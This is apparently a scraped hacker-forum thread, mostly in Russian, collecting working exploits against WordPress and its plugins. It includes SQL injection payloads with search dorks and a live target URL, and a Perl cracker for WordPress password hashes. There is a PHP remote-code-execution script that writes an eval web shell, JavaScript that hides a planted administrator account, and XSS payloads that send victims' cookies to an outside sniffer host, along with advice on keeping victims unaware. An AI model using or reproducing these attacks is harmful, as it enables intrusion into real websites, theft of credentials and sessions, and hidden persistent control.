WordPress MU < 2.6 wpmu-blogs.php Crose SiteScrpting vulnerability WordPress MU 2.6 wpmu-blogs.php Crose SiteScrpting vulnerability Code: http://site/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=XSS Code: http://site/path/wp-admin/wpmu-blogs.php?action=blogs&s=XSS
WordPress Media Holder (id) Sql injetion vulnerability! WordPress Media Holder (id) Sql injetion vulnerability! Code: ------------------------------------------------------------------- WordPress Media Holder (id) Sql injetion vulnerability! ------------------------------------------------------------------- ------------------------------------------------------------------- Author: boom3rang Greetz: H!tM@N - KHG - chs - redc00de! Site : www.khg-crew.ws - [Kosova Hackers Group!] ------------------------------------------------------------------- ------------------------------------------------------------------- Dork: mediaHolder.php?id ------------------------------------------------------------------- Exp: http://localHost/mediaHolder.php?id=[exploit] ------------------------------------------------------------------- exploit: -9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()-- ------------------------------------------------------------------- liveDemo: http://www.dhadm.com/mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()-- ------------------------------------------------------------------- ------------------------------------------------------------------- Proud 2 be Albanian Proud 2 be Muslim United States of Albania ------------------------------------------------------------------- # milw0rm.com [2008-10-26] Source:milw0rm
WordPress<=2.6.3 XSS vulnerability in RSS Feed Generator http://www.securityfocus.com/archive/1/498652
Уязвимости плагинов WordPress Уязвимый продукт: Wp-Forum <=2.2 (последний на данный момент) Дорк: inurl: plugins/wp-forum SQL-injection: ./wp-content/plugins/wp-forum/feed.php?topic=[SQL HERE] PHP: $topic = $_GET['topic']; if($topic == "all"){ ... } else{ $posts = $wpdb->get_results("SELECT * FROM $wpforum->t_posts WHERE parent_id = $topic ORDER BY `date` DESC LIMIT 20 "); $description = __("Forum Topic:", "wpforum")." - ".$wpforum->get_subject($topic); $title = get_bloginfo('name')." ".__("Forum", "wpforum")." - ".__("Topic: ", "wpforum")." ".$wpforum->get_subject($topic); }
Уязвимый продукт: Simpleress Forum - 3.1.4 (последняя на данный момент) Дорк: inurl: plugins/simple-forum SQL-injection: ./wp-content/plugins/simple-forum/sf-pmpost.php Уязвимая переменная : $_POST['pmtoidlist'] PHP: $tolist = explode(',', $_POST['pmtoidlist']); if(!$tolist) { update_sfnotice('sfmessage', '1@'.__('No message recipients were set', "sforum")); return; } ... foreach($tolist as $recipient) { $recipient = trim($recipient); ... $sql = "INSERT INTO ".SFMESSAGES; $sql .= " (sent_date, from_id, to_id, title, message, sentbox, is_reply) "; $sql .= "VALUES ("; $sql .= "now(), "; $sql .= $current_user->ID.", "; $sql .= $recipient.", "; $sql .= "'".$wpdb->escape($title)."', "; $sql .= "'".$wpdb->escape($messagecontent)."', "; $sql .= $sentbox.", "; $sql .= $reply.");"; if($wpdb->query($sql) === false) Примерный эксплойт: Логинимся на форум (для отправки личных сообщений, как правило, на форумах рега открыта): PHP: <form action="http://lamer/platinum/wp-content/plugins/simple-forum/sf-pmpost.php" method="post"> <input type="hidden" name="_wpnonce" value="e5192161fc" /> <input type="hidden" name="_wp_http_referer" value="/platinum/forum/?pmaction=viewinpm&pms=1" /> <input type="hidden" tabindex="0" name="pmaction" id="pmaction" value="savepm" /> <input type="hidden" tabindex="0" name="pmuser" id="pmuser" value="1" /> sql<input name="pmtoidlist" value="" /> <input type="hidden" tabindex="0" name="pmreply" id="pmreply" value="" /> title<input type="text" tabindex="4" name="pmtitle" id="pmtitle" value="" /> text<textarea tabindex="5" name="newpmpost" id="newpmpost" rows="12"></textarea> <input type="submit" name="newpm" value="ok" /> </form> Примерная возвращаемая ошибка: PHP: WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' sd, '123', 'sdfsdfds', 1, 0)' at line 1] INSERT INTO wp_sfmessages (sent_date, from_id, to_id, title, message, sentbox, is_reply) VALUES (now(), 1, 12\' sd, '123', 'sdfsdfds', 1, 0); Можно использовать в совокупности с on duplicate update (сорри, не помню точно, ищите адвизори гемаглабина
Wordpress 2.7 PasswordHash Attack Tool Wordpress 2.7 PasswordHash Attack Tool Code: ################################################################# #Wordpress 2.7 PasswordHash Attack Tool #It is based in "Portable PHP password hashing framework" #for Wordpress 2.7 #Autor: netsoul #Thanks to Waraxe and m1cr0n #Contact: netsoul2[at]gmail.com #ALTO PARANA - PARAGUAY ################################################################# #! /usr/bin/perl -w use strict; use Digest::MD5 qw(md5 md5_hex); use List::Util qw(min); my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345 my $dictionary = 'mydic.txt'; # Put a dictionary my $php_version = '5'; # Don't modify if you don't know it open (f1, "<$dictionary") || die "Error in open file!.\n"; $hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)}; die "Bad hash!\n" if length($1) != 34; my ($itoa64) = join('', my @itoa64 = ('.','/','0'..'9','A'..'Z','a'..'z')); my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/; my ($header)=$salt=~m/^(.{0,3})/; while (<f1>) { chomp($_); print "Current Password: $_\r"; my $found = &finder($_,$salt,$hash); print "\nPassword FOUND: $_" and last if $found; print "\nPassword NOT FOUND:" if eof; } close f1; sub b64{ my $input = $_[0]; my @input = split(//,$input); my $count = $_[1]; my $output = ''; my $i; do { my $value = ord($input[$i++]); $output .= $itoa64[$value & 0x3f]; if ($i < $count){ $value |= ord($input[$i]) << 8; } $output .= $itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count){ return $output; } if ($i < $count){ $value |= ord($input[$i]) << 16; } $output .= $itoa64[($value >> 12) & 0x3f]; return $output if $i++ >= $count; $output .= $itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } sub EncryptP{ my $password = $_[0]; my $setting = $_[1]; my @setting = split(//,$setting); my $hash; my $output = '*0'; $output = '*1' if substr($setting, 0, 2) eq $output; return $output if substr($setting, 0, 3) ne $header; my $count_log2 = index($itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30){ return $output;} my $count = 1 << $count_log2; my $salt = substr($setting, 4, 8); return $output if length($salt) != 8; if ($php_version >= '5') { $hash = md5($salt . $password); do { $hash = md5($hash . $password); } while (--$count); } else { $hash = pack('H*', md5_hex($salt . $password)); do { $hash = pack('H*', md5_hex($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= &b64($hash, 16); return $output; } sub HashP{ my $password = $_[0]; my $salt = $_[1]; my $hash; $hash = &EncryptP($password,$salt); return $hash if length($hash) == 34; } sub CheckP{ my $password = $_[0]; my $stored_hash = $_[1]; my $hash = &EncryptP($password,$stored_hash); return $hash; } sub finder{ my $password = $_[0]; my $salt = $_[1]; my $hash = $_[2]; my $output = &CheckP($password,&HashP($password,$salt)); return $output eq $salt.$hash; }
[weird bug] WP-Syntax <= 0.9.1 Remote Command Execution WP-Syntax - это самый популярный плагин для wordpress для подсветки кода. Его используют на многих сайтах, например Стефан Эссер использует его на своем блоге. Для меня этот плагин представлял интерес, так как обнаружил его в блоге довольно крупной фарма-партнерки. Проведя анализ исходного кода, я нашел достаточно необычную уязвимость, поэтому решил создать отдельную тему. Возможно у кого-нибудь возникнут замечания или мысли по поводу более изящного решения. WP-Syntax использует библиотеку GeSHi, которая и реализует весь функционал по разбору синтаксиса и составления соответствующего для каждого языка html-кода. Разобрав главный скрипт плагина wp-syntax.php, я перешел к папке test, где хранилось 2 скрипта: index.php и code.php. Code.php содержал примеры кода для разных языков, а index.php выводил их с подсветкой для демонстрации возможностей плагина. Index.php инклудит wp-syntax.php, который в свою очередь подключает geshi.php. По замыслу разработчика wp-syntax.php может вызываться только из контекста WP, в то время как test/index.php может запускаться независимо от платформы, при этом автор решил использовать самопальное подобие механизма WP для выполнения callback-функций. Кто знаком с внутренним устройством WP или хотя бы видел часть кода может понять, что я говорю о функциях add_action(), do_action(), apply_filters() и др. Самореализованная ф-ция apply_filters выглядит следующим образом: PHP: function apply_filters($tag, $string) { global $test_filter; if (!isset($test_filter[$tag])) return $string; uksort($test_filter[$tag], "strnatcasecmp"); foreach ($test_filter[$tag] as $priority => $functions) { if (is_null($functions)) continue; foreach($functions as $function) { $string = call_user_func_array($function, array($string)); } } return $string; } Глобальный массив test_filter нигде ранее не инициализируется, поэтому появляется возможность добавить в него произвольные элементы при register_globals=on и впоследствии выполнить любую функцию с помощью call_user_func_array. В WP есть специальная ф-ция - unregister_globals, защищающая от подобных уязвимостей, но здесь другой случай - скрипт работает вне контекста WP. apply_filters вызывается в нескольких местах, один их них: PHP: <html> <head> <title>WP-Syntax Test Page</title> <link rel="stylesheet" href="../wp-syntax.css" type="text/css" media="screen" /> <?php test_head(); /* ... */ function test_head() { echo apply_filters("wp_head", ""); } ?> Как видим сложность данного случая заключается в том, что нельзя выполнить функцию с произвольными аргументами - будет передаваться один пустой аргумент с типом string. С первого взгляда мне показалось, что даже банальный phpinfo() выполнить не удастся, так как он принимает аргумент только с типом integer, иначе возникнет ошибка уровня E_WARNING. Однако вникнув в логику ф-ции apply_filters становится ясным, что изменить аргумент для call_user_func_array() можно, так как она выполняется в цикле и присваивает свой результат аргументу для следующей callback-функции. Иначе говоря с помощью специально составленной цепочки функций можно бы было получить -1 и передать это значение в phpinfo (-1 = INFO_ALL). Тут я начал вспоминать все функции PHP, которые могли бы мне помочь в данной ситуации. Как оказалось многие функции, не принимающие аргументов, вызывают ошибку, если предать в них пустое значение. Тем не менее, нужная мне последовательность вызовов функций была найдена: http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo Сперва вызывается функция pi(), возвращающая значение числа pi. Как ни странно, эта функция, несмотря на отсутствие принимаемых аргументов, не вызывает ошибку "Wrong parameter count for". Далее идет вызов функции cos(), в которую передается значение числа pi. Как известно, cos(pi) = -1, поэтому в phpinfo() попадает нужное значение и выводятся все данные. Казалось большего уже не достичь, но я продолжал поиск способа для выполнения произвольных команд. Необходимо было найти функцию, которая возвращала бы нужные для меня данные. Эти данные можно бы было получить из окружения, но подходящих функций не попадалось. Однако способ все-таки был найден =) Ф-ция session_id() может как возвращать значение текущего идентификатора сессии, так и устанавливать его, если был передан аргумент. Мне естественно нужно было получить значение, но как быть с пустым параметром, который постоянно передавался? Я решил проверить возвращаемые значения таким скриптом: PHP: <?php session_start(""); echo session_id(); echo session_id(""); echo session_id(); ?> Выяснилось, что session_id возвращает значение прошлого идентификатора, несмотря на то, что в функцию был передан параметр. Не знаю баг это или нет, но в доках по этому поводу ничего не сказано. В итоге финальный запрос выглядит следующим образом: Спасибо за внимание, надеюсь было интересно =)
ну в session_id запихнуть можно только буквы и цифры, поэтому особо раздолья нет, вот помучал немного : ну и куку PHPSESSID=ZXZhbCgkX0dFVFtxXSk7ICAK также еще есть в пхп функция get_browser(), но по дефолту ее в php.ini надо настраивать, а так можно былобы через юзер агента текст нужный пихать.
Насчет get_browser() тоже думал, но эта функция действительно мало, гда работает. Если в PHPSESSID помещать данные в base64, то нужно составлять такие строки, чтобы в них не было символов =. Функция call_user_func_array() не допускает использование eval() в качестве callback'а, но твой способ обхода этого ограничения с помощью assert() очень порадовал =)
cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет? пол ночи убил так и не получилось
>cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет? перелистай тему, выкладывали тут тулзу для этого. можно, только если кей из wp-config.php оставлен дефолтным
wordpress can be subject of delayed attacks via cookies Attack: Denial Of Service Required cookies: GLOBALS=<anything> Triggering file: index.php (just an example, basically any file including the affected file) Affected file: wp-settings.php Effect: no request is processed as it aborts because of the presence of GLOBALS in $_REQUEST Attack: Deletion of users Required cookies: action=dodelete, delete_option=delete, users[]=n (where n is an integer) Triggering file: wp-admin/users.php Affected file: wp-admin/users.php Note: this doesn't affect etch's version as it correctly uses $_POST Attack: Denial Of Service Required cookies: action=logout Triggering file: wp-login.php Affected file: wp-login.php Effect: redirection loop, preventing the user from logging in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504771 http://trac.wordpress.org/ticket/8814
XSS wp-slimstat 0.92 Code: http://site/wp-admin/index.php?page=wp-sl imstat/wp-slimstat.php?panel=1&fi=/feed/&ff=1&ft=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Wordpress 2.7.0 admin remote code execution vulnerability by Ryat[puretot] mail: puretot at gmail dot com team: http://www.80vul.com date: 2008-12-18 PHP: #!/usr/bin/php <?php print_r(' +---------------------------------------------------------------------------+ Wordpress 2.7.0 remote code execution exploit by puret_t mail: puretot at gmail dot com team: http://www.wolvez.org site: http://www.80vul.com dork: "powered by WordPress" +---------------------------------------------------------------------------+ '); /** * works regardless of php.ini settings */ if ($argc < 6) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path user pass post host: target server (ip/hostname) path: path to wordpress user: admin login username pass: admin login password post: the available post id Example: php '.$argv[0].' localhost /wp/ admin 123456 1 +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $user = $argv[3]; $pass = $argv[4]; $post = $argv[5]; $shellcode = '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\''; //$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//'; $shell = 'http://'.$host.$path.'wp-content/plugins/wolvez.php'; /** * wolvez.php has this code: * <?eval($_POST[c])?> */ $url = $path.'wp-login.php'; $cmd = 'log='.urlencode($user).'&pwd='.urlencode($pass); $resp = send(); preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $admin_cookie); if (!$admin_cookie) exit("Exploit Failed!\n"); $url = $path.'wp-admin/user-new.php#add-new-user'; $cmd = ''; $resp = send($admin_cookie[1]); preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/', $resp, $_wpnonce); if (!$_wpnonce) exit("Exploit Failed!\n"); $cmd = '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode; $resp = send($admin_cookie[1]); if (strpos($resp, 'users.php?usersearch=ryat&update=add#user') === false) exit("Exploit Failed!\n"); $url = $path.'wp-login.php'; $cmd = 'log=ryat&pwd=123456'; $resp = send(); preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $editor_cookie); if (!$editor_cookie) exit("Exploit Failed!\n"); $url = $path.'wp-admin/post.php?action=edit&post='.$post; $cmd = ''; send($editor_cookie[1]); send($admin_cookie[1]); if (strpos(file_get_contents($shell), 'puret_t') !== false) exit("Expoilt Success!\nView Your shell:\t$shell\n"); else exit("Exploit Failed!\n"); function send($cookie = '') { global $host, $path, $url, $cmd; $data = "POST $url HTTP/1.1\r\n"; $data .= "Accept: */*\r\n"; $data .= "Accept-Language: zh-cn\r\n"; $data .= "Referer: http://$host$path\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $data .= "Host: $host\r\n"; $data .= "Content-Length: ".strlen($cmd)."\r\n"; $data .= "Connection: Close\r\n"; $data .= "Cookie: $cookie\r\n\r\n"; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?> Подробности уязвимости wp-admin/post.php PHP: if ( current_user_can('edit_post', $post_ID) ) { if ( $last = wp_check_post_lock( $post->ID ) ) { $last_user = get_userdata( $last ); $last_user_name = $last_user ? $last_user->display_name : __('Somebody'); $message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) ); $message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" ); add_action('admin_notices', create_function( '', "echo '$message';" ) ); //[ex:\';phpinfo();\']; } else { wp_set_post_lock( $post->ID ); wp_enqueue_script('autosave'); } }
Добавление невидимого админа (1.5-2.3.3) Итак, представим, что у нас уже есть доступ к бд и нам необходимо закрепиться на блоге. Для этого создаем нового юзера, даем ему права админа и в бд в таблице wp_usermeta в поле first_name с ИД нашего юзера прописываем: PHP: <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>" /></label></p> В итоге, наш админчег не будет виден на странице wp-admin/users.php =) Для версий 2.5-2.7 могут быть свои вариации.
Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability exploit: Code: http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL] Code: http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/* источник:http://milw0rm.com/
Уязвимости модулей WordPress Уязвимость в модуле статистики wassup Version: 1.6.4 (вроде как и <=1.6.4) Активная XSS Не фильтруется поле Referrer. Уязвимость есть в двух местах: на главной странице статистики и подробной статистике по IP. Первый код подробной статистики(wassup/lib/action.php): PHP: $raw_table = $wpdb->get_results("SELECT ip, hostname, agent, referrer, search, searchpage, os, browser, language FROM $table_name WHERE wassup_id='".urlencode(attribute_escape($_GET['wassup_id']))."' ORDER BY timestamp ASC LIMIT 1"); ?> <div><h2><?php _e("Raw data","wassup"); ?>:</h2> <ul style="list-style-type:none;padding:20px 0 0 30px;"> <?php foreach ($raw_table as $rt) { ?> ... <li><?php echo __("Referrer","wassup").": ".urldecode($rt->referrer); ?></li> ... <?php } } //end foreach ?> Второй код(wassup/lib/main.php): PHP: $referrer = '<a href="'.$cv->referrer.'" target=_"BLANK">'.stringShortener($cv->referrer, round($max_char_len*.9,0)).'</a>'; ... <?php print $referrer; ?> Пример: Code: GET /wp/ HTTP/1.0 User-Agent: [любой User agent] Host: localhost Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: XSS к примеру Referer: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3C%2F%73%63%72%69%70%74%3E Proxy-Connection: Keep-Alive Ну а что бы увидеть эту xss заходим в админку->wassup и лицезреем =)
Уязвимость в модуле Connections Version: 0.4.0 (вроде как и <=0.4.0) в частности класс php_class_upload v.0.26 и ниже В комплекте с модулем есть папка php_class_upload содержащая класс по работе с файлами(класс не от разработчиков модуля, а сторонний, подробнее можно посмотреть здесь http://www.verot.net/php_class_upload.htm) так вот в этом классе из за не достаточной фильтрации расширения загружаемых файлов в class.upload.php: PHP: // turn dangerous scripts into text files if ($this->no_script) { if (((substr($this->file_src_mime, 0, 5) == 'text/' || strpos($this->file_src_mime, 'javascript') !== false) && (substr($this->file_src_name, -4) != '.txt')) || preg_match('/\.(php|pl|py|cgi|asp)$/i', $this->file_src_name) || empty($this->file_src_name_ext)) { $this->file_src_mime = 'text/plain'; $this->log .= '- script ' . $this->file_src_name . ' renamed as ' . $this->file_src_name . '.txt!<br />'; $this->file_src_name_ext .= (empty($this->file_src_name_ext) ? 'txt' : '.txt'); } } можно залить сначала файл с расширением.htaccess в котором указать AddType application/x-httpd-php .someext ну а дальше уже сам шелл shell.someext, или сразу .phtml или .html Папку с классом многие копируют без изменений, а файл index.html содержит тестовую форму по загрузке файлов... Вобщем удобная форма по загрузке шела =) к примеру посмотреть можно на оф сайте модуля Code: http://www.shazahm.net/wp-content/plugins/connections/php_class_upload/ ну и из за недостаточной фильтрации будут уязвимо все где использован этот класс...
Модуль на WordPress - Appstore Charts Version v. 1.2 Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/) Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах: 1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php Уязвимый код: PHP: $url = $_GET['rss_url']; [...] if ( $url ) { echo "displaying: $url<p>"; $rss = fetch_rss( $url ); echo slashbox ($rss); } echo "<pre>"; print_r($rss); echo "</pre>"; Для проверки можно обратиться: Code: http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script> Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть: Code: http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script> + на %2B обязательно иначе не пройдет... 2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php Уязвимый код: PHP: if ( isset($_GET['url']) ) { $url = $_GET['url']; } else { $url = 'http://magpierss.sf.net/test.rss'; } [...] $rss = fetch_rss( $url ); if ($rss) { echo "<h3>Example Output</h3>"; echo "Channel: " . $rss->channel['title'] . "<p>"; echo "<ul>"; foreach ($rss->items as $item) { $href = $item['link']; $title = $item['title']; echo "<li><a href=$href>$title</a></li>"; } echo "</ul>"; } else { echo "Error: " . magpie_error(); } ?> Использование аналогично номеру 1 =) только rss_url на url меняется...
Уязвимости в модуле WP Wall Version: 1.4.2(возможно и ниже) 1.Пассивная XSS Условия: register_globals = On Уязвимость в файле wp-wall\wp-wall-widget-control.php Уязвимый код: HTML: <p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p> <p><label for="wall_title">Title: <input name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p> <input type="hidden" id="wall_submit" name="wall_submit" value="1" /> Пример использования: Code: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script> 2. Еще одна пасивная XSS: Условия: register_globals = On Уязвимость в файле wp-wall\wp-wall-widget.php Уязвимый код: PHP: <?php echo $before_widget; echo $before_title . $wall_title. $after_title; ?> Пример использования: Code: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script> Code: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script> Code: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script> Code: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script> Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру: Code: <script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script> 3.Раскрытие путей и не только(для всех модулей): Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример: PHP: add_action("widgets_init", array('itunescharts_widget', 'register')); И уже видим раскрытие путей! К примеру: Обратившись: Code: http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php видим: Code: Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33 , этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются! Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall: Раскрытие есть в 3 файлах из 4: 1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись: http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7 видим раскрытие... 2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие... 3. В файле wp-wall\wp-wall-ajax.php обратившись к нему http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1 видим раскрытие... Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)